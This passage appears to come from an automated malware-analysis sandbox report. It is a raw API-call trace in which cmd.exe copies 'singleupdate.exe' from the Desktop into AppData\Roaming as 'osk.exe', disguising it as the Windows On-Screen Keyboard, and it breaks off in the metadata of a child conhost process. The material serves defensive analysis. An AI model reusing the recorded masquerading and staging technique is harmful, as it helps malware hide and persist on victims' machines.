[0209.773] RtlFreeHeap (HeapHandle=0x31b0000, Flags=0x0, BaseAddress=0x31b77e0) returned 1 [0209.773] GetEnvironmentStringsW () returned 0x31b4c68* [0209.773] GetProcessHeap () returned 0x31b0000 [0209.773] RtlAllocateHeap (HeapHandle=0x31b0000, Flags=0x8, Size=0xb12) returned 0x31b6cf0 [0209.774] FreeEnvironmentStringsA (penv="=") returned 1 [0209.774] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x32b0048 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0209.774] GetProcessHeap () returned 0x31b0000 [0209.774] RtlFreeHeap (HeapHandle=0x31b0000, Flags=0x0, BaseAddress=0x31b0ae0) returned 1 [0209.774] ??_V@YAXPAX@Z () returned 0x1 [0209.774] ??_V@YAXPAX@Z () returned 0x1 [0209.774] GetProcessHeap () returned 0x31b0000 [0209.774] RtlAllocateHeap (HeapHandle=0x31b0000, Flags=0x8, Size=0x400e) returned 0x31b8df0 [0209.774] GetProcessHeap () returned 0x31b0000 [0209.774] RtlAllocateHeap (HeapHandle=0x31b0000, Flags=0x8, Size=0xc6) returned 0x31b7810 [0209.774] GetProcessHeap () returned 0x31b0000 [0209.774] RtlFreeHeap (HeapHandle=0x31b0000, Flags=0x0, BaseAddress=0x31b8df0) returned 1 [0209.774] GetConsoleOutputCP () returned 0x1b5 [0209.782] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xc33850 | out: lpCPInfo=0xc33850) returned 1 [0209.782] GetUserDefaultLCID () returned 0x409 [0209.783] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0xc2f82c, cchData=8 | out: lpLCData=":") returned 2 [0209.783] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0xbef75c, cchData=128 | out: lpLCData="0") returned 2 [0209.783] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0xbef75c, cchData=128 | out: lpLCData="0") returned 2 [0209.783] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0xbef75c, cchData=128 | out: lpLCData="1") returned 2 [0209.783] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0xc2f81c, cchData=8 | out: lpLCData="/") returned 2 [0209.783] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0xc2f7b8, cchData=32 | out: lpLCData="Mon") returned 4 [0209.783] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0xc2f778, cchData=32 | out: lpLCData="Tue") returned 4 [0209.783] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0xc2f738, cchData=32 | out: lpLCData="Wed") returned 4 [0209.783] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0xc2f6f8, cchData=32 | out: lpLCData="Thu") returned 4 [0209.783] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0xc2f6b8, cchData=32 | out: lpLCData="Fri") returned 4 [0209.783] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0xc2f678, cchData=32 | out: lpLCData="Sat") returned 4 [0209.783] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0xc2f638, cchData=32 | out: lpLCData="Sun") returned 4 [0209.783] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0xc2f80c, cchData=8 | out: lpLCData=".") returned 2 [0209.783] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0xc2f7f8, cchData=8 | out: lpLCData=",") returned 2 [0209.783] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0209.785] GetProcessHeap () returned 0x31b0000 [0209.785] RtlAllocateHeap (HeapHandle=0x31b0000, Flags=0x0, Size=0x20c) returned 0x31b7928 [0209.785] GetConsoleTitleW (in: lpConsoleTitle=0x31b7928, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0209.787] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0209.787] GetProcAddress (hModule=0x75e90000, lpProcName="CopyFileExW") returned 0x75ea4330 [0209.787] GetProcAddress (hModule=0x75e90000, lpProcName="IsDebuggerPresent") returned 0x75ea5930 [0209.787] GetProcAddress (hModule=0x75e90000, lpProcName="SetConsoleInputExeNameW") returned 0x74fe09d0 [0209.787] ??_V@YAXPAX@Z () returned 0x1 [0209.788] GetProcessHeap () returned 0x31b0000 [0209.788] RtlAllocateHeap (HeapHandle=0x31b0000, Flags=0x8, Size=0x400a) returned 0x31b8df0 [0209.788] GetProcessHeap () returned 0x31b0000 [0209.788] RtlFreeHeap (HeapHandle=0x31b0000, Flags=0x0, BaseAddress=0x31b8df0) returned 1 [0209.788] _wcsicmp (_String1="copy", _String2=")") returned 58 [0209.789] _wcsicmp (_String1="FOR", _String2="copy") returned 3 [0209.789] _wcsicmp (_String1="FOR/?", _String2="copy") returned 3 [0209.789] _wcsicmp (_String1="IF", _String2="copy") returned 6 [0209.789] _wcsicmp (_String1="IF/?", _String2="copy") returned 6 [0209.789] _wcsicmp (_String1="REM", _String2="copy") returned 15 [0209.789] _wcsicmp (_String1="REM/?", _String2="copy") returned 15 [0209.789] GetProcessHeap () returned 0x31b0000 [0209.789] RtlAllocateHeap (HeapHandle=0x31b0000, Flags=0x8, Size=0x58) returned 0x31b7b40 [0209.789] GetProcessHeap () returned 0x31b0000 [0209.789] RtlAllocateHeap (HeapHandle=0x31b0000, Flags=0x8, Size=0x12) returned 0x31b7ba0 [0209.790] GetProcessHeap () returned 0x31b0000 [0209.790] RtlAllocateHeap (HeapHandle=0x31b0000, Flags=0x8, Size=0xba) returned 0x31b7bc0 [0209.791] GetConsoleTitleW (in: lpConsoleTitle=0xbef650, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0209.791] malloc (_Size=0xffce) returned 0x32c2670 [0209.791] ??_V@YAXPAX@Z () returned 0xbef3dc [0209.792] malloc (_Size=0xffce) returned 0x32d2648 [0209.792] ??_V@YAXPAX@Z () returned 0xbef194 [0209.792] _wcsicmp (_String1="copy", _String2="DIR") returned -1 [0209.792] _wcsicmp (_String1="copy", _String2="ERASE") returned -2 [0209.793] _wcsicmp (_String1="copy", _String2="DEL") returned -1 [0209.793] _wcsicmp (_String1="copy", _String2="TYPE") returned -17 [0209.793] _wcsicmp (_String1="copy", _String2="COPY") returned 0 [0209.793] ??_V@YAXPAX@Z () returned 0x1 [0209.793] GetProcessHeap () returned 0x31b0000 [0209.793] RtlAllocateHeap (HeapHandle=0x31b0000, Flags=0x8, Size=0x16c) returned 0x31b7c88 [0209.793] GetProcessHeap () returned 0x31b0000 [0209.793] RtlReAllocateHeap (Heap=0x31b0000, Flags=0x0, Ptr=0x31b7c88, Size=0xbc) returned 0x31b7c88 [0209.793] GetProcessHeap () returned 0x31b0000 [0209.793] RtlSizeHeap (HeapHandle=0x31b0000, Flags=0x0, MemoryPointer=0x31b7c88) returned 0xbc [0209.793] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0209.793] GetProcessHeap () returned 0x31b0000 [0209.793] RtlAllocateHeap (HeapHandle=0x31b0000, Flags=0x8, Size=0xc4) returned 0x31b7d50 [0209.794] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x32b0048 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0209.794] GetProcessHeap () returned 0x31b0000 [0209.794] RtlAllocateHeap (HeapHandle=0x31b0000, Flags=0x8, Size=0x2c) returned 0x31b7e20 [0209.794] GetProcessHeap () returned 0x31b0000 [0209.794] RtlAllocateHeap (HeapHandle=0x31b0000, Flags=0x8, Size=0x2c) returned 0x31b7e58 [0209.794] GetProcessHeap () returned 0x31b0000 [0209.794] RtlAllocateHeap (HeapHandle=0x31b0000, Flags=0x8, Size=0x18) returned 0x31b7e90 [0209.794] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0209.794] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0209.794] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0209.794] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0209.794] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0209.794] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0209.794] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0209.794] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0209.794] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0209.794] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0209.794] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0209.794] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0209.794] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0209.794] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0209.794] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0209.794] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0209.794] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0209.794] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0209.794] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0209.794] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0209.794] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0209.794] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0209.794] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0209.794] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0209.794] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0209.794] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0209.794] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0209.795] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0209.795] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0209.795] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0209.795] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0209.795] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0209.795] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0209.795] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0209.795] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0209.795] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0209.795] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0209.795] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0209.795] GetProcessHeap () returned 0x31b0000 [0209.795] RtlFreeHeap (HeapHandle=0x31b0000, Flags=0x0, BaseAddress=0x31b7e90) returned 1 [0209.795] GetProcessHeap () returned 0x31b0000 [0209.795] RtlAllocateHeap (HeapHandle=0x31b0000, Flags=0x8, Size=0x18) returned 0x31b7e90 [0209.795] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0209.795] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0209.795] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0209.795] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0209.795] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0209.795] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0209.795] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0209.795] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0209.795] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0209.795] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0209.795] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0209.795] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0209.795] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0209.795] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0209.795] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0209.795] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0209.795] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0209.796] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0209.796] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0209.796] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0209.796] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0209.796] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0209.796] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0209.796] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0209.796] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0209.796] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0209.796] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0209.796] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0209.796] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0209.796] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0209.796] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0209.796] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0209.796] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0209.796] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0209.796] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0209.796] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0209.796] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0209.796] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0209.796] GetProcessHeap () returned 0x31b0000 [0209.796] RtlFreeHeap (HeapHandle=0x31b0000, Flags=0x0, BaseAddress=0x31b7e90) returned 1 [0209.796] GetProcessHeap () returned 0x31b0000 [0209.796] RtlAllocateHeap (HeapHandle=0x31b0000, Flags=0x8, Size=0x16c) returned 0x31b7e90 [0209.796] GetProcessHeap () returned 0x31b0000 [0209.796] RtlReAllocateHeap (Heap=0x31b0000, Flags=0x0, Ptr=0x31b7e90, Size=0xbc) returned 0x31b7e90 [0209.796] GetProcessHeap () returned 0x31b0000 [0209.797] RtlSizeHeap (HeapHandle=0x31b0000, Flags=0x0, MemoryPointer=0x31b7e90) returned 0xbc [0209.797] _wcsnicmp (_String1="/y", _String2="/Y", _MaxCount=0x2) returned 0 [0209.797] GetProcessHeap () returned 0x31b0000 [0209.797] RtlAllocateHeap (HeapHandle=0x31b0000, Flags=0x8, Size=0x2c) returned 0x31b7f58 [0209.797] GetProcessHeap () returned 0x31b0000 [0209.797] RtlAllocateHeap (HeapHandle=0x31b0000, Flags=0x8, Size=0x258) returned 0x31b7f90 [0209.797] _wcsicmp (_String1="singleupdate.exe", _String2=".") returned 69 [0209.797] _wcsicmp (_String1="singleupdate.exe", _String2="..") returned 69 [0209.797] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\singleupdate.exe")) returned 0x20 [0209.797] GetProcessHeap () returned 0x31b0000 [0209.797] RtlAllocateHeap (HeapHandle=0x31b0000, Flags=0x8, Size=0x2c) returned 0x31b81f0 [0209.797] GetProcessHeap () returned 0x31b0000 [0209.797] RtlAllocateHeap (HeapHandle=0x31b0000, Flags=0x8, Size=0x258) returned 0x31b0ae0 [0209.797] _wcsicmp (_String1="osk.exe", _String2=".") returned 65 [0209.797] _wcsicmp (_String1="osk.exe", _String2="..") returned 65 [0209.797] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x27, ProcessInformation=0xbef3dc, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0xbef3dc, ReturnLength=0x0) returned 0x0 [0209.797] NtSetInformationProcess (ProcessHandle=0xffffffff, ProcessInformationClass=0x27, ProcessInformation=0xbef3e0, ProcessInformationLength=0x4) returned 0x0 [0209.797] malloc (_Size=0xffce) returned 0x32d2648 [0209.797] ??_V@YAXPAX@Z () returned 0xbeeaac [0209.797] malloc (_Size=0xffce) returned 0x32e2620 [0209.798] ??_V@YAXPAX@Z () returned 0xbeeaac [0209.798] malloc (_Size=0xffce) returned 0x32f25f8 [0209.798] ??_V@YAXPAX@Z () returned 0xbeeaac [0209.799] malloc (_Size=0x1ff9c) returned 0x33025d0 [0209.799] ??_V@YAXPAX@Z () returned 0xbeeaac [0209.800] VirtualAlloc (lpAddress=0x0, dwSize=0xfe00, flAllocationType=0x1000, flProtect=0x4) returned 0xa80000 [0209.800] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe", fInfoLevelId=0x1, lpFindFileData=0x31b7f98, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x31b7f98) returned 0x31b8228 [0209.800] GetProcessHeap () returned 0x31b0000 [0209.800] RtlAllocateHeap (HeapHandle=0x31b0000, Flags=0x0, Size=0x14) returned 0x31b8268 [0209.800] malloc (_Size=0xffce) returned 0x3322578 [0209.800] ??_V@YAXPAX@Z () returned 0xbee844 [0209.801] malloc (_Size=0xffce) returned 0x3332550 [0209.801] ??_V@YAXPAX@Z () returned 0xbee5fc [0209.801] ??_V@YAXPAX@Z () returned 0x1 [0209.802] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", nBufferLength=0x7fe7, lpBuffer=0x3322578, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpFilePart=0x0) returned 0x27 [0209.802] ??_V@YAXPAX@Z () returned 0x1 [0209.803] _wcsicmp (_String1="C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe", _String2="con") returned -53 [0209.803] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\singleupdate.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xbeeabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000080, hTemplateFile=0x0) returned 0xdc [0209.803] _open_osfhandle (_OSFileHandle=0xdc, _Flags=8) returned 3 [0209.803] _get_osfhandle (_FileHandle=3) returned 0xdc [0209.803] GetFileType (hFile=0xdc) returned 0x1 [0209.803] SetErrorMode (uMode=0x0) returned 0x0 [0209.803] SetErrorMode (uMode=0x1) returned 0x0 [0209.803] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe", nBufferLength=0xffce, lpBuffer=0x33025d0, lpFilePart=0xbeeacc | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe", lpFilePart=0xbeeacc*="singleupdate.exe") returned 0x28 [0209.803] SetErrorMode (uMode=0x0) returned 0x1 [0209.803] _get_osfhandle (_FileHandle=3) returned 0xdc [0209.803] ReadFile (in: hFile=0xdc, lpBuffer=0xa80000, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xbeeaf4, lpOverlapped=0x0 | out: lpBuffer=0xa80000*, lpNumberOfBytesRead=0xbeeaf4*=0x200, lpOverlapped=0x0) returned 1 [0209.804] malloc (_Size=0x1ff9c) returned 0x3322578 [0209.805] ??_V@YAXPAX@Z () returned 0xbee86c [0209.805] SetErrorMode (uMode=0x0) returned 0x0 [0209.805] SetErrorMode (uMode=0x1) returned 0x0 [0209.805] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", nBufferLength=0xffce, lpBuffer=0x3322578, lpFilePart=0xbee88c | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpFilePart=0xbee88c*="osk.exe") returned 0x27 [0209.805] SetErrorMode (uMode=0x0) returned 0x1 [0209.805] _wcsicmp (_String1="C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe", _String2="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 3 [0209.806] ??_V@YAXPAX@Z () returned 0x1 [0209.806] GetProcessHeap () returned 0x31b0000 [0209.806] RtlAllocateHeap (HeapHandle=0x31b0000, Flags=0x8, Size=0x258) returned 0x31b0d40 [0209.806] _wcsicmp (_String1="osk.exe", _String2=".") returned 65 [0209.806] _wcsicmp (_String1="osk.exe", _String2="..") returned 65 [0209.806] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe")) returned 0xffffffff [0209.806] GetLastError () returned 0x2 [0209.806] malloc (_Size=0xffce) returned 0x3322578 [0209.807] ??_V@YAXPAX@Z () returned 0xbee844 [0209.807] malloc (_Size=0xffce) returned 0x3332550 [0209.807] ??_V@YAXPAX@Z () returned 0xbee5fc [0209.808] ??_V@YAXPAX@Z () returned 0x1 [0209.808] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", nBufferLength=0x7fe7, lpBuffer=0x3322578, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpFilePart=0x0) returned 0x27 [0209.808] ??_V@YAXPAX@Z () returned 0x1 [0209.809] malloc (_Size=0x1ff9c) returned 0x3322578 [0209.809] ??_V@YAXPAX@Z () returned 0xbee86c [0209.810] SetErrorMode (uMode=0x0) returned 0x0 [0209.810] SetErrorMode (uMode=0x1) returned 0x0 [0209.810] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", nBufferLength=0xffce, lpBuffer=0x3322578, lpFilePart=0xbee88c | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpFilePart=0xbee88c*="osk.exe") returned 0x27 [0209.810] SetErrorMode (uMode=0x0) returned 0x1 [0209.810] _wcsicmp (_String1="C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe", _String2="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 3 [0209.810] ??_V@YAXPAX@Z () returned 0x1 [0209.811] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe")) returned 0xffffffff [0209.811] CopyFileExW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\singleupdate.exe"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), lpProgressRoutine=0x0, lpData=0x0, pbCancel=0xc2d54c, dwCopyFlags=0x0) returned 1 [0209.992] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe")) returned 0x20 [0209.993] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", dwFileAttributes=0x20) returned 1 [0209.993] _close (_FileHandle=3) returned 0 [0209.993] FindNextFileW (in: hFindFile=0x31b8228, lpFindFileData=0x31b7f98 | out: lpFindFileData=0x31b7f98) returned 0 [0209.993] GetLastError () returned 0x12 [0209.993] FindClose (in: hFindFile=0x31b8228 | out: hFindFile=0x31b8228) returned 1 [0209.993] ??_V@YAXPAX@Z () returned 0x1 [0209.993] ??_V@YAXPAX@Z () returned 0x1 [0209.995] ??_V@YAXPAX@Z () returned 0x1 [0209.996] ??_V@YAXPAX@Z () returned 0x1 [0209.997] _vsnwprintf (in: _Buffer=0xc43d10, _BufferCount=0x103, _Format="%9d", _ArgList=0xbef3c4 | out: _Buffer=" 1") returned 9 [0209.997] _get_osfhandle (_FileHandle=1) returned 0x90 [0209.997] GetFileType (hFile=0x90) returned 0x2 [0209.997] GetStdHandle (nStdHandle=0xfffffff5) returned 0x90 [0209.997] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xbef320 | out: lpMode=0xbef320) returned 1 [0210.103] _get_osfhandle (_FileHandle=1) returned 0x90 [0210.103] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x90, lpConsoleScreenBufferInfo=0xbef370 | out: lpConsoleScreenBufferInfo=0xbef370) returned 1 [0210.144] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2336, dwLanguageId=0x0, lpBuffer=0xc3b990, nSize=0x2000, Arguments=0x0 | out: lpBuffer="%1 file(s) copied.\r\n") returned 0x14 [0210.145] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2336, dwLanguageId=0x0, lpBuffer=0xc3b990, nSize=0x2000, Arguments=0xbef3a0 | out: lpBuffer=" 1 file(s) copied.\r\n") returned 0x1b [0210.145] WriteConsoleW (in: hConsoleOutput=0x90, lpBuffer=0xc3b990*, nNumberOfCharsToWrite=0x1b, lpNumberOfCharsWritten=0xbef354, lpReserved=0x0 | out: lpBuffer=0xc3b990*, lpNumberOfCharsWritten=0xbef354*=0x1b) returned 1 [0210.205] NtSetInformationProcess (ProcessHandle=0xffffffff, ProcessInformationClass=0x27, ProcessInformation=0xbef3dc, ProcessInformationLength=0x4) returned 0x0 [0210.205] ??_V@YAXPAX@Z () returned 0x1 [0210.208] _get_osfhandle (_FileHandle=1) returned 0x90 [0210.208] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x7) returned 1 [0210.217] _get_osfhandle (_FileHandle=1) returned 0x90 [0210.217] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xc33890 | out: lpMode=0xc33890) returned 1 [0210.331] _get_osfhandle (_FileHandle=0) returned 0x8c [0210.331] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xc33894 | out: lpMode=0xc33894) returned 1 [0210.342] SetConsoleInputExeNameW () returned 0x1 [0210.342] GetConsoleOutputCP () returned 0x1b5 [0210.354] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xc33850 | out: lpCPInfo=0xc33850) returned 1 [0210.355] SetThreadUILanguage (LangId=0x0) returned 0x2ef0409 [0210.371] exit (_Code=0) [0210.371] ??_V@YAXPAX@Z () returned 0x1 Thread: id = 38 os_tid = 0x174 Process: id = "7" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x14b96000" os_pid = "0xe80" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xfb4" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT 